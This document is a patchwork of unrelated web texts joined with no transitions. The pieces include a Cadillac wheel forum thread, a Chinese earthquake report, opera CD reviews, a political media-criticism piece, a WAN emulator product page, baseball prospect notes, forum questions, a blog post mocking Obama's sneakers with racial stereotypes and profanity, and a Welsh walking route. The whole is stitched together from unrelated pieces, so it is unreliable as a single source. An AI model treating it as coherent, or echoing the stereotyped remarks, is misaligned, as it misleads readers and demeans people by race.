Vossen CV3 rims on 2011 CTS Coupe, Please help
I'm ready to order some Vossen CV-3 rims for my 2011 CTS Coupe and I have a few questions I was hoping you guys could help with.
Is there a significant impact on gas mpg? I drive about 1,500 miles a month because of my job so I want to make sure I consider this.
Has anyone done 20's in the back and 19's in the front? I feel like 19's in the front might look small and this would be a waste unless I was to drop it and im not gonna do that. Also, 19" tires are not any less expensive than 20's so I feel like 20's all around is the way to go.
Also, can anyone please confirm the size and offset I need? I believe it is;
20x9 +35
20x10.5 +27
& for the tires, 245 in the front and 285 in the back????
Has anyone had any issues or heard of any issues with scrubbing? I'm kind of a newbie with aftermarket anything for cars so any feedback is much appreciated.
I have them on my coupe. They look amazing and honestly I didn't see any decrease in gas mileage. Surprisingly the steering to me and my bestiaries feels lighter compared to the stock 18" it came with.
Everything you have there is right and you will not have any problems. I would recommend 20" all around. I did think about doing 20 in the front and 22 in the back with a different wheel. This was before they released the 22" CV-3. You could look into that. If anything you might think that 20" look small in the back because of all the style of the body.
Other then that pull the trigger your set!

Thanks bro!
No problem. Put up some photos when you have them.

You are right in 19" tires not being cheaper than 20". In fact, they cost more. Price wise 20" and 18" tires are about even and 19" are more pricey, probably due to being a less coming inbetween size. (Although they are now gaining in popularity). Vossen CV3s are hot, I wanted them and bought cheaper Giovanna Meccas instead and regret it. Total junk. Get the CV3s and you will be happy as a clam.

When it comes to wheels and tires keep in mind weight is the enemy. The heavier they are the more unsprung weight you're adding to the suspension, more weight equals faster brake wear and less mileage.

At least 47 people have been killed and 300 injured in a strong earthquake in a hilly area in western China.
The magnitude 6.6 quake struck near the city of Dingxi in Gansu province, a region of mountains, desert and pastureland. It knocked down power lines and damaged homes.
Residents in the city described shaking windows. Tremors were felt in the provincial capital of Lanzhou 110 miles north, and as far away as Xi'an, 250 miles to the east.
With a population of 26 million, Gansu is one of China's more lightly populated provinces, though the Dingzi area has a greater concentration of farms in rolling hills terraced with fields for crops and fruit trees. Dingxi has a total population of about 2.7 million.
The deaths and injuries were reported in Min County and other rural southern parts of the municipality, Dingxi Mayor Tang Xiaoming told state broadcaster CCTV. He said the damage was worst in the counties of Zhang and Min, where scores of homes were damaged and telephone and electricity services knocked out.
Su Wei, leader of a 120-member rescue team from the paramilitary People's Armed Police, told state broadcaster CCTV that they were on their way to the epicentre, but progress was being slowed by mud and rock slides blocking the road.
The government's earthquake monitoring centre said the initial quake at 7.45am was magnitude-6.6 and subsequent tremors included a magnitude-5.6.
The U.S. Geological Survey measured the magnitude of the initial quake as 5.9 and the depth at 6 miles.
Initial measurements of an earthquake can vary widely, especially if different monitoring equipment is used.
Dingxi is about 766 miles west of Beijing.
China's worst earthquake in recent years was 7.9-magnitude, which struck the southwestern province of Sichuan in 2008, leaving 90,000 people dead or missing.

Fête Galante, a 1999 release featuring soprano Karina Gauvin and pianist Marc-André Hamelin, won numerous awards, and the outstanding performances on this 2011 reissue confirm how well-deserved those honors were. Gauvin has an exceptional voice – clarion-bright, warm, confident, and agile, with a variegated palette of colors – and her effortlessly incisive interpretive skills give depth and life to everything she sings. The distinctiveness and character she brings to these songs show a terrific grasp of the genre of the mélodie, from the late 19th century songs by Fauré and the young Debussy to the mid-20th works by Poulenc, Honegger, and Émile Vuillermoz. The CD demonstrates her range with the zany comedy of Poulenc's "Paganini" followed immediately by the intensely poignant multi-layered sadness of the composer's profound "C." Throughout, Gauvin's tone is ravishingly pure and she soars gloriously in the more lyrical songs.
Agostino Steffani's sumptuous 1688 opera Niobe, Regina di Tebe has proved a revelation to audiences since its first modern production in 2008. The spellbinding French countertenor Philippe Jaroussky, who appeared in its US premiere at the Boston Early Music Festival in 2011, stars in this new recording, with Canadian soprano Karina Gauvin in the title role of the proud, but tragic Theban queen.
Canadian superstar soprano Karina Gauvin pays tribute to baroque diva Anna Maria Strada del Pò, singing rarities by Vinci, Vivaldi and some of the greatest Handel arie di bravura. Like Strada del Pò in her prime, Miss Gauvin sings this repertoire with powerful expression and brilliant technique, in particular, the trills for which Strada del Pò was renowned. More than thirteen opera roles were created by Handel for Strada del Pò (including Sosarme, Orlando, and Alcina). Strada del Pò's talent and style may have influenced the composer's work as much as he contributed to the vocal and dramatic development of the prima donna in the first decades of the 18th century.
This is a reference for anyone studying Latin American dancing at Bronze, Silver or Gold level as well as any competitor who would like to study the basics again in more detail.

Conservatives equated Mary Cheney's sexual orientation with abortion, adultery, alcoholism, and now obesity
Research ››› ››› KATIE BARGE
In the five days since the third presidential debate, conservatives in the media have drawn comparisons between Senator John Kerry's reference to Vice President Dick Cheney's daughter, Mary Cheney, as a lesbian and hypothetical statements about abortion, adultery, alcoholism, and obesity.
Here's what Kerry said during the October 13 presidential debate in response to moderator Bob Schieffer's question, "Do you believe homosexuality is a choice?":
KERRY: We're all God's children, Bob. And I think if you were to talk to Dick Cheney's daughter, who is a lesbian, she would tell you that she's being who she was, she's being who she was born as.
Following are the comparisons some conservative media figures have drawn:
Comparisons to abortion
- MSNBC analyst Pat Buchanan said Kerry's "use [of] the cold, hard word 'lesbian'" was "like finding a conservative who's a right-to-lifer and going on television and saying, 'I'm sorry, my friend's daughter had an abortion.'"
- Radio host Rush Limbaugh told his listeners to imagine that "a Democrat presidential candidate, unnamed" had a daughter that had "a couple of abortions. And the president would have said ... 'I know the senator's daughter's had at least one. We don't really know how many.'"
Comparisons to adultery
- Responding to Kerry campaign manager Mary Beth Cahill's comment that, because Mary Cheney and her parents had been open about her sexuality, it was "fair game" for Kerry to discuss, CNN co-host Tucker Carlson said on the October 14 edition of CNN's Crossfire: "So does this mean that the children of candidates, Republican candidates, are fair game? If there's another candidate whose child is, I don't know, involved in an adulterous affair, you're going to talk about it on television?"
Comparisons to alcoholism
- FOX News Channel FOX & Friends co-host E.D. Hill compared Kerry's response to criticism over his reference to Mary Cheney to telling "an alcoholic's family ... '[T]hat kid of yours sure is a wino, but you know, you're really dealing with it well and I'm sure that he has no choice about being a wino.'"
Comparisons to obesity
- Nationally syndicated radio host and frequent FOX News Channel contributor Mike Gallagher, as guest host of the October 16 edition of FOX & Friends: "What if the question was, 'Listen, there's a big problem in America with obesity. We do know there is. It's a health care thing.' And what if the answer had been, well, you know, Edwards's wife has talked about the struggles she's had with weight, I mean, right away people would have said, 'Come on.'"

Do you have a receipt for that?
There's this guy who works at a local convenience store in Shreveport (which I will not name) who has a serious impact on his customers. Most regulars in this establishment know him when he's there, and if they are in a hurry, they find a way to be unavailable to talk. However, occasionally there will be an unsuspecting shopper, or a person like me, who enjoys the randomness, who holds up the line while he preaches his nonsense.
It's as if he finds purpose in his job by sharing the gospel of his personal political views on the world with unsuspecting shoppers who just want a Snickers.
For example, this woman in front of me asked for a pack of cigarettes behind the counter. She asked, "Are those the one that are $1 off?" And he said, "Ma'am, they are kind of like an atomic bomb…it doesn't matter if you buy a bomb for $40 or $2.50, they are both gonna go boom." Well, what can one say to that other than, "Debit, please."
So, then it was my turn. I know how he is, and I kind of enjoy his rants (which is why I only go there when I'm either not busy or just really, really bored). So, I start it off by asking if he's from Southern Louisiana. Somehow, this instantly sends him on a rant about the Louisiana Purchase.
He says, "Yeah, uh, I think we should just go back to everyone and say, 'HEY! I want it back!' and just uh… take it back!"
He continued to try to explain this simple statement and I interrupted him and said, "Well, I think you might need to have a receipt for that."
Stumpped, he said, "Well, somebody's GOTTA have one SOMEWHERE!"
Something tells me he doesn't have it. But I bet he can find me some Pop Rocks… assuming that doesn't send him into a rant on the universe. I don't think I'm prepared for that.

Squeak on joints of just installed solid wood floor
I'm quite sure it's hardwood rubbing at joint. The strange thing is when I finish a row, they are very good by testing. But after the next row is finished, one or two joints of previous row may squeak. Now I have almost finished entire the first room. Many joints have this problem. I have #15 felt paper underneath. My subfloor is not very flat but not too bad. For some boards, I put extra very small #30 felt paper pieces. I use the Bostitch Manual Hardwood Flooring Nailer, so I use a lot of strength to hit. Is it possible when hitting very strongly, the new row has impact to the previous row and make that joint loose a bit?
Another possible reason I came up with is the nails are too close to the end joints. I had 1" at beginning and 1.5" later. The production manual suggest 1"-3" at minimum.
Here suggest 3" at minimum.

The ink has scarcely dried on the draft standard for a new generation of high-speed Wi-Fi and already competing companies are at each other's throats.
Friday's agreement on a draft standard for 802.11n -- the fast Wi-Fi technology designed to reach speeds of up to 300 Mbit/s -- ended a more than year-long standoff between competing specifications. Now, various players are accusing one another of dirty tricks in an effort to gain an edge in the market. One of the details at stake is a compatibility issue that could affect the way eventual products are deployed in the enterprise.
The conflict now is over how and when such issues will be resolved. Competing chipmakers, such as Airgo and Atheros, last week agreed that draft one of the standard will only need minor changes.
But the two sides seem to have very different ideas about what constitutes "minor changes." Atheros, Broadcom and Marvell are already showing silicon designed to support the upcoming standard, while Airgo -- which has three generations of proprietary fast Wi-Fi products already on the market -- is holding off until the standard has had one or two more revisions.
Airgo chief executive Greg Raleigh said Airgo's competitors are being reckless when they claim that draft one is basically complete. "There are some irresponsible claims out there," he said. "A group of silicon vendors wanted to halt after draft one."
One of the problems that remains to be fixed relates to how 802.11n products will act when older Wi-Fi networks are operating nearby, Raleigh said. A core feature of 802.11n will be a double-wide channel mode that can increase throughput substantially, but risks degrading the performance of other networks nearby.
Airgo is claiming that this and other serious issues might not be resolved properly, in order to allow its competitors to finalize their silicon earlier. "Bluntly, Airgo is saying that its competitors would risk destroying the performance or utility of existing 802.11b/g in order to capture part of Airgo
This story, "Sparks fly following 802.11n settlement" was originally published by Techworld.com.

The IPNetSim™ is an "unbelievably" important and simple to use tool that simulates an entire IP Network in one box. Simulate delay, jitter,
packet loss, packet errors, bandwidth restrictions, and more. Every "lab" should have one.
IPNetSim™ simulates IP networks. IPNetSim™ simulates all the conditions encountered in a real-time such as network latency, network
delay variation (jitter), bandwidth, congestion, packet errors, bit errors and other network impairments. Impairments can be independently applied to either
or both directions.
IPNetSim™ models are available at varying capacities from 100 Mbps copper or SFP, 1 Gbps 8 Gbps Copper or SFP, or up to 40 Gbps with Dual Rate 1 Gbps/10 Gbps SFP+ interfaces.
The IPNetSim™ with the 1Gbps (IPN400) configuration offers 8 Gigabit Ethernet port (8 RJ-45 copper, 8 SFP, or 4 of each), with an Max. Aggregate Throughput of 8, making it ideal for both multi-link configurations and multi-user labs. The compact 1U-sized appliance includes both copper and modular fiber/copper Gigabit Ethernet interfaces.
The new IPNetSim™ IPN600 series (IPN601 -1 Gbps Model / IPN610 - 10 Gbps Model ) offers 1 or 10 Gbps dual rate capability with four dual rate
1/10 Gbps SFP+ ports, supporting both 10 Gbps SFP+ and 1 Gbps SFP. With a capacity of up to 4 or 40 Gbps, the IPNetSim™ IPN600 series Network
Emulator can simulate two separate 10 Gbps (or 4 Gbps) full-duplex links.
For more information visit IPNetSim™ IPN600 series page.
GL also provides handheld variation of IPNetSim™, IPNetSim™ Handheld, which is a portable battery operated instrument that can simulate the real-time IP and Carrier Ethernet network dynamics by means of hardware controlled packet delay, loss, jitter, errors, bandwidth limitations, congestion, and duplication. IPNetSim™ Handheld offers to manage network behaviors of up to 1 Gbps rates with accuracy always better than 1ms. It is equipped with hardware based impairments generator, and dual GbE ports.
For more information visit IPNetSim™ Handheld page.
The IPNetSim™ emulates a WAN (wide area network) link between two local networks. It can be used to test IP end point devices such as Gateways,
IADs, IP phones, Soft phones, and so on for voice, fax, data, or multimedia transmission over IP.
The IPNetSim™ offers an efficient and economical way to emulate terrestrial, wireless, internet, satellite, or private network links to validate and
troubleshoot networks and applications under a spectrum of real-world conditions. Through an intuitive, browser-based graphical interface, you can install
the IPNetSim™ and begin testing within minutes.
You have to choose between terrestrial wireless, satellite, and other WAN technologies to connect between offices across the globe. The cost trade-offs
are easy to quantify, however, the parameters such as delay, jitter, and loss affect performance of critical applications. Estimating the bandwidth required to
keep applications running can be known by emulating the links in the lab with different conditions and demonstrating performance to all decision makers
before the choice is made.
Use IPNetSim™ to find out if addition of equipments such as accelerator, compression device, traffic shaper, cache, or application proxy can improve
the performance of the network before you purchase.
Use IPNetSim™ in the lab to pinpoint the cause in the application failure and validate solutions without disrupting the production network. With
record & playback feature of IPNetSim™, one can capture the conditions & reproduce the delay / loss characteristics of the live link in a repeatable test
Use IPNetSim™ to test if the networking equipment, software, and client/server based applications works under any condition on a local network as
well as from a remote place located across the town or on the other side of the world before your users complain. With the ability to emulate 4 independent
links, the IPN400 allows 8 individual developers to use the device simultaneously, saving time & money.
See your website as your users experience and make sure its responsive. Verify that your e-commerce system does not leave your customers hanging
when their link goes slow
Voice over IP sounds perfect in demonstrations on the LAN, but quality diminishes with latency, jitter and packet loss. Test VoIP network using
IPNetSim™ under real-world conditions to verify if it meets the quality requirements before you deploy.
Use the IPNetSim™ to ensure a clear picture by testing video on IP networks by emulating the loss and congestion characteristics.
Use IPNetSim™ to demonstrate your products on customer sites and trade show by simulating the actual network conditions. Avoid the hassles of
installing on a production network and eliminate surprises with a pre-configured test. The IPN400 allows you to run 8 tests in parallel to demonstrate
performance of WAN accelerators, load balancers, VPNs, and other networking equipment
The IPN400 allows you to test 8 separate products in parallel through independent links, providing a direct comparison between competing solutions
for video, voice, and other networking applications.
The IPNetSim™ is configured using a simple browser-based interface. Screen shots for the different configuration tabs are shown below:
Link Emulation
This screen contains all of the link parameters that can be emulated with the IPNetSim™. Basic emulation parameters of Bandwidth, Delay,
and Loss are always visible.
Screen Shot of Link Emulation
Bridge / Route
Settings in this screen help the end user to use the IPNetSim™ function as a bridge or router.
The Monitor screen displays real-time transmission statistics and throughput graphs of the traffic over the emulated link. For each direction, there is a
table of statistics, graph of the transmission rate, and a table of average transmission rates. The currently running emulation parameters are also displayed.
Screen Shot of Monitor Statistics
Scheduler is used to configure dynamically changing emulation parameters or automate a series of separate tests. This can be configured with up to ten
separate sets of link conditions to run in series. The IPNetSim™ automatically transitions the link conditions between each stage using up to 1000
intermediate steps.
Screen Shot of Scheduler
IPNetSim™ Player
IPNetSim™ Player work in conjunction with Recorder utility to record and report the delay and loss characteristics of a wide-area network link or
network path over time. The IPNetSim™ Player reads the recorded file and replays the captured conditions to reproduce the delay and loss
characteristics of the live link in a repeatable test environment.
Screen Shot of IPNetSim™ Player
The Recorder is a Windows-based utility that captures and records the delay and loss characteristics of a wide-area network link or network path over
time. The Recorder is designed for use in conjunction with the player functionality of the IPNetSim™ WAN emulator. The Recorder can probe the link
up to ten times per second and record up to 100,000 data points.
Screen Shot of Recorder
The IPNetSim™ is managed through a browser-based Internet Explorer version 6 or later, or Mozilla Firefox GUI over an Ethernet connection to a
dedicated management interface.
Initial configuration of the management interface requires either:
IPNetSim™ can be installed between two LAN segments as shown in the diagram. Depending on configuration, the IPNetSim™ acts as either
a transparent learning bridge or a router between the Ethernet segments connected to the LAN A and LAN B ports of the unit. Frames received on one port
are subjected to the emulated WAN conditions before being forwarded to the other port.
Emulation conditions are configured on the IPNetSim™ GUI and operate independently in each direction.
When functioning as a bridge, the IPNetSim™ is not limited to emulating IP networks, but can emulate any type of network so long as the traffic is
encapsulated in Ethernet. In addition to IP, the IPNetSim™ can be used with IPv6, IPX, AppleTalk, SCPS, and proprietary network and transport layer

The IPNetSim™ is designed for anyone who needs an accurate, easy-to-use, cost-effective way to simulate WAN conditions, including:
Yes. The IPNetSim™ was designed with satellite and other long latency conditions in mind and can handle delays of up to 10 seconds in
each direction.
No. The IPNetSim™ emulates the WAN link itself. It is not a traffic generator.
Until now, there were only two alternatives: high-end WAN emulators and freeware. High-end WAN emulators offer a wide array of features,
but their prices puts them out of range of most users while their complexity make them difficult to use. Although freeware has no upfront cost, the
time wasted in installation and configuration of the source code makes them unproductive, and the resulting systems are constrained in precision
and performance.
The IPNetSim™ is the culmination of a mission to offer the precision and performance of a high-end WAN emulator without the cost,
designed to be far easier to use than anything else available.

Only really sold in any number (and small numbers at that) for two model years in the USA, the Ur quattro isn't exactly what you'd call common. Finding any example, much less a clean one has become increasingly hard for American fans of Audi's rallying icon. And when it comes to modified ones, ideas of proper upgrades can certainly vary. All that being said, we think we've stumbled across a modified example that most will agree qualifies
Let's face it, unless they're an ur quattro, pristine Audis from the B2 generation have simply disappeared. Short of the ur with its then exotic pricing north of the Porsche 911, the squarish B2s were bought and driven... well, not all of them. We've just found perhaps the nicest example of an early small bumper Coupe GT we've ever seen.

A full hour of forgettable, underwhelming set-up introduces us to the key human characters of Peter Jackson's King Kong.That long, humdrum approach to the Main Event - the revelation of the ape - confirms what some have long suspected: that Peter Jackson, who served up those sensational adaptations of J.R.R. Tolkien's The Lord of the Rings, isn't much of a storyteller on his own. As his earlier track record proves, he's a bespectacled spectacle man. When you give him a script that is … [Read more...]

Missions 1 – Tulsa Drillers 0
Key Statistics: 2B Jedd Gyorko 1-1; Yeison Ascencio 3-4; 1B A.J. Kirby-Jones 1-2, 2B, BB; RHP Keyvius Sampson (W, 5-4) 7.0 IP 2 H Bb 12 Ks; RHP Jeremy McBryde 1.0 IP BB; RHP Matt Stites (S, 6) 1.0 IP 2 Ks.
Prospect Watch: First the big news Jedd Gyorko , on a big league rehab assignment, felt some tightness in his groin as he tried to stretch his hit into a double. Gyorko left the game and according to the Missions press release is day-to-day with his removal from the game being precautionary…The big news of the game was Keyvius Sampson who threw seven shutout innings with 12 strikeouts. In his last three starts, 18.2 innings, Sampson has not allowed an earned run…Cory Spangenberg made his first career start in left field with Gyorko at second and had a hit…Closer Matt Stites is averaging more than a strikeout per inning to go along with a 1.42 ERA.
For further reading on the San Antonio Missions, see the San Antonio Express-News
Storm 9 – High Desert Mavericks 8 11 innings
Key Statistics:
CF Travis Jankowski 3-4, 2B, BB; 2B B.J. Guinn 2-5, 2B; SS Jace Peterson 2-5, RBI; 1B Robert Kral 3-4, 2 RBI, BB, HR (11); LF Jeremy Baltz 2-6, 4 RBI, HR (2); C Austin Hedges, 2-6, 3B; RHP James Needy 4.2 IP 7 H 7 ER 3 BB 3 Ks HR; RHP Johnny Barbato (BS, 3)(W, 1-2) 2.0 IP 3 H R ER 4Ks.
Prospect Watch: High Desert is one of the parks in the Cal League that plays more like a pinball machine than a baseball diamond but tonight the Storm got the tilt their way scoring last with back-to-back triples by Hedges and DH Travis Whitmore to put the Storm ahead by one with the game tied at 8 in the eleventh innings…Jeremy Baltz, a second round pick out of St. John's in last year's draft, continues to swing the hot bat with a .346/.370/.615 line since being promoted from the TinCaps…Robert Kral had his first home run since of the month after coming into the month with an organization leading 10…Tough night for pitchers but keep an eye on Barbato. His ERA is high at 5.26 but he is still struck out 50 batters in 39.1 innings against only 17 walks. He has good size and can go more than one inning.
For further reading on the Storm please see the Southwest Riverside News Network.
Lansing Lugnuts 7 – TinCaps 5
Key Statistics: 2B Maxx Tissenbaum 2-4; 3B Chris Burke 2-4; C Rodney Daal 3-3, 3B, BB; RHP Weickel 5.1 IP 9 H 5 R 4 ER 2 BB 4 Ks HR; RHP Colin Rea (L, 0-1) 1.0 IP 2 H 2 R ER.
Prospect Watch: Recently demoted pitcher Colin Rea gave up two runs in the eighth as the TinCaps fell for the first time in ten tries this season…Keep an eye on second baseman Maxx Tissenbaum at .287/.391/.393 for the season.
For further reading on the TinCaps, see the Fort Wayne Journal-Gazette
Salem-Keizer Volcanoes 5 – Emeralds 1
Key Statistics: 3B Fernando Perez 2-3, 2 (2B); C Ryan Miller 0-3, BB; LHP Erik Schoerock (L, 0-1) 4.0 IP 5 H 3 R 3 ER 2 BB 2 Ks.
Prospect Watch: Perez was supposed to be the starting third baseman for the TinCaps this year before injuries in spring training shut him down. According to many prospect mavens the left-handed swinging Perez was one of the Padres' better hitting prospects in the 2012 draft.
For further reading on the Emeralds, see the Eugene Register-Guard.
AZL Padres 6 – AZL Royals 5 Key Statistics: 3B Dustin Peterson 2-4; DH Tommy Medica 1-2, HR(1) 3 RBIs; SS Van Meter 0-3, 2 BBs; LHP Christina Miller (W, 1-0) 3.0 IP 2 H BB 3 Ks.
Prospect Watch: DH Tommy Medica cracked a home run in his first game back since straining his oblique. It's still unsure when he will return to San Antonio…Nice start by Dustin Peterson, the Padres second round pick out of this year's draft. He's off to a nice start in the AZL and it will be interesting to see if the Padres break their practice and promote a high school player to Eugene.

This sounds like a ridiculous question, and I can't believe I'm asking it, but the other person was adamant.
We have this chihuahua - or, should I say, "chihuahua." At the house where my dad picked him up, there were two males and one female. One male and the female were chihuahuas, the other male was a toy poodle.
The female chihuahua has the puppies. Half of the pups are clearly poodle/chihuahua mixes, the other half look like chihuahuas. The pup my dad picked out looks EXACTLY like the brindle-colored male chihuahua, and nothing like the female chihuahua.
I said our chihuahua has to be a poodle/chihuahua mix, because it's impossible for two different males to father the same litter. My dad says no, and that the litter can be "split" between two different sires.

Hey everyone I just created this account today to see what turns up. I'm a 20 year old college kid that goes to Kent State University and I have been waterfowling since I was about 13. I'm looking to find a group of guys that could include me in a few hunts up here in the northern part of the state because I'm originally from Cambridge Ohio,and the hunting mainly consists of early season wood ducks and then slows down after the first weekend. Being somewhat of an expericed duck hunter I wanted to sieze the opportunity to bag some late season mallards and geese coming down from Lake Erie. As a duck hunter I feel like I have quality things to bring to the hunt, I'm a solid caller and I can offer an extra hand in setting up decoys or building blinds. If anyone would be generous enough to take me up on the offer I would appreciate it more than anything, gives me a good reason to get out of the dorms and do something I love to do.
Thanks for reading,
Wade Black

Babraham, TGAC, Schrödinger and economic growth
Last week saw another (and the final) 'double-header' of Institute Assessment Panels, the first being that of the Babraham Institute and the second of The Genome Analysis Centre (TGAC). Both panels were as usual redolent with real experts, with whom it was also a pleasure to enjoy informal discussions. This coming week completes the Institute Assessment Panels with one visiting the Institute for Animal Health. As with all the others, funding decisions will not be taken until Council meets next March, and this blog does not really comment on such visits. However, I was interested to have my first sight at TGAC of one of the new 'PacBio' single-molecule genome sequencing machines.
I had the pleasure of attending the latest Schrödinger lecture, a masterful public lecture to a very mixed audience given by Sir Paul Nurse, PRS. I also attended a meeting of the Foundation for Science and Technology on "Stimulating economic growth by increasing the contribution from research, innovation and the Higher Education sector", where the Panel of speakers were Sir Richard Lambert (audio), Dr Graham Spittle (audio), Catherine Coates (audio), and Minister for Universities and Science David Willetts (audio). The latter told me that he had recently read The Fourth Paradigm, a survey of the move towards what it refers to as data-intensive science; some of his comments implied that it had been a very careful and appreciative read, and not just a skim!
I enjoyed a thoughtful piece on how including sustainability in the UN's Human Development Index – that one really should be doing – changes the ranking quite considerably, and another on how best to determine the 'right' charges for ecosystem services. Of course often the countries of manufacture are not the countries of use, and this applies especially to information and communication technologies.
The RCUK Research Outcomes System (ROS) was launched for all BBSRC Grant holders. A user guide section has been added to Research Outcomes, focusing on the three most common tasks. Each section contains a video tutorial and a step-by-step set of instructions. By watching the video, a user is able to see exactly how to perform a task such as uploading a research output/outcome or to set up a delegated user. I encourage folk to do so.

Is Obama The Only Black Guy In America Wearing Asics?
This is from last year but he tweet this unreleased picture yesterday.
I don't know why I have a problem with this but I do. Missing layups didn't bother me. I figured Obama sucked at basketball. He probably hasn't been honestly guarded in a game of pickup in over a decade. He plays at the White House or the East Bank Club, both can't be considered intense games especially when everyone is probably taking it easy on him. But this. This is inexcusable. No black guy should ever be wearing Aasics, period. Aasics are for 50 year old Suburban dads that have given up on life. They're for overweight people who have need extra arch support for their fat gross knee's. Not black guys and especially not the president. I just can't have this. Putin is hanging out with Seagal while Obama is rocking clown shoes and mom jeans. It's embarrassing. I feel like less of a man, less of an American. Honestly, what's the point of having a black president if he isn't going to wear fresh kicks and be fresh to death? Black people are trendsetters. That's what they do. If America wanted a nerd they would've elected Romney. Nothing worse than false advertising. I feel cheated.
Update – I can't believe I spelled Asics, Aasics. Probably kills all my credibility as a journalist. Fucked up Big Cat, fucked up big time.

Wick Circular Walk
A circular walk of 8.5 miles, 13.2 Kms, with country lanes, footpaths, open downland and cliff-top walking. The highlight in March is the Nature reserve at Castle upon Alun which is covered in daffodils. To get to the start, turn off the main road through Wick at the Lamb and Flag Pub down Church Street signposted Broughton. When you get to the village green aim for the far side (Chapel Road) where there is a churchyard. You can park here on the verge. Toilets at Dunraven Bay. Refreshments at the Farmers Arms at St Brides and, in season, Dunraven Bay. Alternative start points are Southerndown (Dunraven Bay) or St. Brides.
OS Explorer 151 - grid ref. SS 92127/72041.

(Route checked 26.5.05)
With your back to the churchyard turn left down Chapel Lane. At a road junction, go across and follow the quiet country lane opposite. The easiest route now is straight along this lane until you get to the next road junction. Alternatively, if determined to follow the footpath, go into the field on the right over a metal gate by a footpath sign just 30 metres from the junction with Chapel Lane. Follow the footpath along the left hand edge of the field (just the other side of the lane) and cross over three stiles, the first two with 5-bar metal poles, the third stone. You are now in an area with a picnic table and pond with boardwalks.
Daffodils at Coed-y-Bwl Nature Reserve
At the main road turn left walking on the grass. After 100 yards cross the road by the bungalow (called The Beacons) and take the lane opposite. Walk down this lane for around 20 minutes, passing one junction on the right, until you get to a T junction with Blackhall Cottage opposite. Turn left down the road and then right at the crossroads following the lane downhill. At the bottom you pass the Glamorgan Naturalists Trust Nature Reserve, Coed-y-Bwl, which is covered in daffodils in March. The packhorse bridge across the stream at the bottom is a good place for a quick break. (2.43 miles, 45 mins, SS 90964/75105).
The packhorse bridge
About 40 yards beyond the bridge just before where the road curves to the right, take the waymarked path up through the trees to the left of the road. Steeply up through the trees, then through a metal gate and emerge onto the Downs. Take the right-hand path, heading straight ahead and later with wire fence on right, passing two waymark posts, until you reach the top of the downs. (3.34 miles, 1 hr, SS 89997/75749). This is the high point of the walk, 107 metres above sea level. A hedge on top of a stone wall converges from the left. Keep the hedge/wall on your left as the path curves to the left and passes a solitary house, Bryn Awel House, becoming a rough road. After 100 yards when this road zig-zags, take the green path diagonally to the right following the line of the telegraph poles. The path drops down and then up to a seat and a metal kissing-gate by a road.
Cross the road and take the lane opposite, Penylan Road. The Manse is the first house on the right. Keep along this road until you descend to a road junction. Cross this road to get to the pavement opposite and head left along the road passing the Old Vicarage on your right. Pass a pond on your right with a pump - a wide grass verge appears and you cross the road entrance to Pool Farm on your right. The Farmers Arms is on the other side of the road. Before you get to the next house and just past the bus shelter go down a gap to the right with stone wall on your left and hedge on right to a stone stile, yellow waymark and signposted Seamouth. (4.42 miles, 1 hr 20 mins, SS 89609/74314). After the stile, head diagonally left across the field with the farm buildings on your right and passing a stile set in a wire fence to a hedge looking out for a stone stile in the hedge with yellow waymark post (saying Short Circular Walk).
St Brides Pond taken around 1916
Follow right-hand edge of field. Cross a wooden stile and walk straight ahead down the right hand edge of the field. Pass through a gap in the hedge where the field narrows and where there used to be a wooden fence. Now you are going down the left-hand edge of the next field. Stone stile at bottom of field. Go left and immediately right past a wooden stile now with the hedge on your right and heading for the trees. To the left you will see the boundary wall of the grounds of Dunraven House. At bottom right-hand corner of field go over wooden stile and drop down through trees – yellow arrow at bottom takes you to the right along a path, at first stony. Ignore the permissive path by the metal barrier. The stony track brings you to a wooden stile by a wooden gate with buildings beyond – keep straight ahead. On your left is the Heritage Coast Information Centre, (5.46 miles, 1 hr 42 mins, SS 88683/73232). Pass the thatched cottage on the right to get to Dunraven car park (toilets on right).
At the car park turn left through wooden gate and follow road. After a while Car Park road veers left – you go straight ahead past wooden barrier marked 'Emergency Vehicles Only'. When the road reaches the corner of the walled garden of Dunraven House either carry on along the road or go through the wooden door into the garden. (Also see Variation1 below). This is a sheltered spot and near the exit at the far end there is a small covered building with seating. Go through the garden to the bottom right end – just beyond the shelter is the wooden exit door. Go through this and straight ahead along a pebble-lined path, through a wooden gate to regain the road.
See below, with the sea on the right our path heads along the cliffs.
Cross the road, following a rough road ahead, heading uphill with the sea on your right. The road curves to the left but you branch to the right and head up the hedged path alongside the cliff. At the top you cross a wooden stile between some cast iron posts marking the estate boundary. The path eventually meets a wall and curves to the left with the wall on your right. You come to a stone stile in the wall with wooden stile ahead. Cross the stone stile and descend on the path to your left, heading away from the sea. (After wet weather this bit can be very muddy and the ascent the other side even worse). At the bottom cross the stream via a wooden bridge and ascend to the right, heading back towards the sea. The path is stepped in places. At the top you will see a ladder stile but there is an excellent viewing area to the right looking back towards Witch's Point.
Looking back towards Witch's Point
Go over the ladder stile and head along the cliff to reach a wooden stile with a clear view of the cwm (valley) ahead, ( 6.87 miles, 2 hrs 15 mins, SS 89635/71918). Cross the stile and head inland, descending, along the valley. After 20 yards you will see a low green sign, marked Coastal Walk. Descend to the bottom of the cwm with your back to the sea and continue walking. Cross a stone stile. When the ground flattens out, keep ahead towards a stile and after crossing this follow the path stretching clearly ahead across the field. After a while this path meets a hedge on the left. Go ahead to a wooden stile, continue down left-hand edge of field to another wooden stile by a gate, then path with hedge on both sides to a high stone stile by a road. Turn left (see Variation 2 below) and immediate right down a road signposted 'Wick ½'. After big house on right – Maes yr Haf – look out for pond on right followed by seat amidst topiary. Carry on to reach Wick green where you started ( 8.54 miles, 2 hrs 50 mins)
Map of the Walk
Take the stile opposite the entrance to the Dunraven Walled Garden. The track takes you to the old gatehouse. Turn right to follow the wall and then right again to come out at the other end of the walled garden. The route is well waymarked and no more than a mile. Or you can follow the wall further and this brings you out further along the coast to pick up the route described above. Access for people and dogs may be restricted at some times of year because of lambing.
As an alternative to the final stretch of road, when you have crossed the stone stile by the road turn right along the lane. Pass a white, then a brown house, on left and then a road junction on the right. Just beyond this junction and before you get to the small white house on the right, turn left into a field through a gate, marked Woodland Trust. This is Monks Wood although it might not seem it with most of the trees below waist height. You can either follow the track through the trees to the left or carry on down the right hand edge of the field to the stone stile to where the left-hand track eventually brings you. Cross the stile aiming ahead towards the yellow house in the distance and cross a stile with 4 metal bars and head down the right-hand edge of the next field. Cross the stone stile ahead now aiming to the left of the yellow house towards a metal gate. Cross the wooden stile by the gate; go ahead to the next metal gate and then head right along the track for 20 yards to meet the road. Turn left along the road and at a junction take the left fork to return to your starting point.

So you have a fancy name for your new business – Launchpad14 or whatever. Feeling bullish?
